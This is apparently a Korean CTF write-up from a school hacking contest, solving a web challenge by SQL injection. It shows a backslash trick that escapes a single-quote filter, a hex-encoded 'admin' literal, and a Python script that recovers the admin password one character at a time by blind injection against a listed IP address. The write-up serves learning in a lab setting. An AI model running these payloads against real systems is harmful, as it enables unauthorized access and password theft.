문제파일
admin의 password를 알아내야한다
'(싱글쿼터)가 필터링 되어있다 나머지는 문제와 상관없는 데이터베이스의 접근을 막기위해 존재
GET방식으로 id와 pw파라미터를 쓸 수 있다
싱글 쿼터를 써서 필터링 된 모습
id파라미터에 \를 전달하면
select id from user where id='\' and pw =' or 1=1#'
->
select id from user where id='\' and pw =' or 1=1#'
이렇게 되어 admin으로 접근 가능
이제 admin의 pw를 구해야한다
id가 admin이고 pw의 몇번째 자리가 무엇인지를 쿼리를 통해 전달해서
blind injction으로 한글자씩 구한다
id를 admin으로 고정해야하지만 싱글쿼가 필터링 되어있다
하지만 mysql은 0x61 ='a' 처럼 hex값으로 문자를 type casting이 가능
pw를 한글자씩 구하기 위해 pw의 길이를 알아낸다
admin의 pw는 24자
admin의 pw의 첫글자는 'd'
mysql은 대소문자 구분을 하지 않기 때문에 D라고 본다
이런식으로 하나씩 구하는데는 너무 오래 걸리기 때문에 python requests모듈을 이용한다
exploit_code
import requests
url = "http://34.64.182.234:5003/"
session = requests.Session()
pw=''
for i in range(1,25):
for j in range(33,128):
params = {
'id': '\\',
'pw': 'or id=0x61646d696e and substr(pw,{},1)={}#'.format(i,hex(j))
}
req=session.get(url=url,params=params)
if 'admin' in req.text:
pw += chr(j)
print(chr(j)+"is correct!!!!!!!!!!")
break
print(chr(j)+"is not")
print("pw is "+pw)
'교내해킹대회 > Web' 카테고리의 다른 글
Injection (0) | 2020.05.14 |
---|---|
투명망토 (0) | 2020.05.14 |
Escape-Room (0) | 2020.05.10 |
Captcha Challenge (0) | 2020.05.09 |
File upload 문제 설계 과정 (0) | 2020.04.30 |